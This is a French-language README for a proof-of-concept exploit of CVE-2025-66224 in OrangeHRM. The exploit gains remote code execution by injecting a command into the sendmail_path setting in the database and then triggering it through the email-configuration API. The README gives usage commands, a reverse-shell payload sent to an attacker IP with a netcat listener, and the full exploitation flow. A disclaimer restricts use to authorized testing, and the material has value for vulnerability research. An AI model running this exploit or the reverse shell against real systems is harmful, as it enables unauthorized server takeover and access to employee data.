Exploit de preuve de concept pour CVE-2025-66224 démontrant une exécution de code à distance dans OrangeHRM via une injection de commande dans le paramètre sendmail_path, avec injection automatisée de payload dans la base de données et nettoyage.
Cette preuve de concept (PoC) démontre une vulnérabilité d'exécution de code à distance (RCE) dans OrangeHRM via une injection de commande dans le paramètre de configuration sendmail_path.
L'exploit fonctionne en :
hs_hr_config)Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Tout accès non autorisé à des systèmes informatiques est illégal. Les auteurs ne sont pas responsables de toute mauvaise utilisation ou des dommages causés par cet outil.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <URL_CIBLE> -c <VALEUR_COOKIE> \
-dh <HOTE_MYSQL> -du <UTILISATEUR_MYSQL> -dp <MOT_DE_PASSE_MYSQL> \
-cmd '<COMMANDE_A_EXECUTER>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Démarrer l'écouteur sur la machine attaquante
nc -lvnp 4444
# Exécuter l'exploit avec la charge utile du shell inversé
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/IP_ATTAQUANT/4444 0>&1"'
| Paramètre | Court | Requis | Description |
|---|---|---|---|
--target | -t | ✅ | URL cible (ex : http://target.com) |
--cookie | -c | ✅ | Valeur du cookie de session |
--cookie_name | -cn | ❌ | Nom du cookie (par défaut : _orangehrm) |
--command | -cmd | ✅ | Commande à exécuter sur la cible |
--db_host | -dh | ✅ | Adresse hôte MySQL |
--db_user | -du | ✅ | Nom d'utilisateur MySQL |
--db_pass | -dp | ✅ | Mot de passe MySQL |
--db_port | -dport | ❌ | Port MySQL (par défaut : 3306) |
La vulnérabilité existe dans la fonctionnalité de configuration email où le paramètre sendmail_path est stocké dans la base de données puis exécuté sans désinfection appropriée.
Flux d'exploitation :
1. S'authentifier à OrangeHRM (obtenir un cookie de session valide)
↓
2. Se connecter à la base de données MySQL
↓
3. Localiser la table hs_hr_config
↓
4. Mettre à jour la valeur de email_config.sendmail_path :
DE : /usr/sbin/sendmail -bs
À : /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Déclencher l'exécution via l'API :
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. La commande s'exécute sur le serveur
↓
7. Restaurer la valeur d'origine (nettoyage)
Paramètre vulnérable : email_config.sendmail_path
Base de données :
hs_hr_configname = 'email_config.sendmail_path'value = chemin de la commande sendmailPoint de terminaison déclencheur :
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC par : RiccK
Équipe : Bypassadores && HackersOnSteroids
⚠️ Utilisez de manière responsable. Obtenez toujours une autorisation appropriée avant de tester.